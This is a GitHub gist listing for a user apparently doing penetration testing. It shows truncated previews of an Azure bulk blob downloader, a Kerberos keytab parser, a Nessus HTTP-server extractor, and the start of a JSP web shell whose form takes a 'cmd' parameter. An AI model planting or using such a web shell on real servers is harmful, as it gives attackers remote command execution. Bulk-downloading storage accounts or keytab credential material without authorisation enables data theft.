Skip to content

Instantly share code, notes, and snippets.

@0xhexmex
0xhexmex / download_azure_blobs.ps1
Last active August 17, 2022 18:35 — forked from Dillie-O/get_all_media.ps1
PowerShell script to iterate all containers and blobs in a storage account and download it. - forked to use Az module instead of Azure, and storage account name instead of connection string
# Usage: Install-Module Az > Import-Module Az > Connect-AzAccount > Get-AzStorageAccount > replace the $storage_account variable in the script > run the script
$destination_path = '.'
# $connection_string = '[AZURE_STORAGE_CONNECTION_STRING]'
$storage_account = ''
$storage_account = New-AzStorageContext -StorageAccountName $storage_account
$containers = Get-AzStorageContainer -Context $storage_account
@0xhexmex
0xhexmex / cmd.jsp
Created September 8, 2020 00:50 — forked from ErosLever/cmd.jsp
A simple and minimal yet effective JSP Web Shell that escapes command output as HTML entities as needed.
<form method="GET" action="">
<input type="text" name="cmd" />
<input type="submit" value="Exec!" />
</form> <%!
public String esc(String str){
StringBuffer sb = new StringBuffer();
for(char c : str.toCharArray())
if( c >= '0' && c <= '9' || c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c == ' ' )
sb.append( c );
else
@0xhexmex
0xhexmex / Get-KerberosKeytab.ps1
Created February 14, 2019 21:50 — forked from raandree/Get-KerberosKeytab.ps1
Parses Kerberos Keytab files
param(
[Parameter(Mandatory)]
[string]$Path
)
#Created by Pierre.Audonnet@microsoft.com
#
#Got keytab structure from http://www.ioplex.com/utilities/keytab.txt
#
# keytab {
@0xhexmex
0xhexmex / FindHTTPinNessus.ps1
Last active December 1, 2018 22:05 — forked from nullbind/FindIIS6inNessus.ps1
This script can be used to extract a list of HTTP servers from .nessus files.
# This script can be used to extract a list of HTTP servers from .nessus files.
# Original Author: Scott Sutherland, NetSPI 2017
# Modified by KM 11/2018 to extract a list of all HTTP servers, not just IIS6
# Instructions: Run the script in a directory containing only .nessus files. Super dirty/slow, but functional.
# Create an output table
$outputtbl =New-Object System.Data.DataTable
$outputtbl.Columns.Add("IpAddress") | Out-Null
$outputtbl.Columns.Add("WebServerVersion") | Out-Null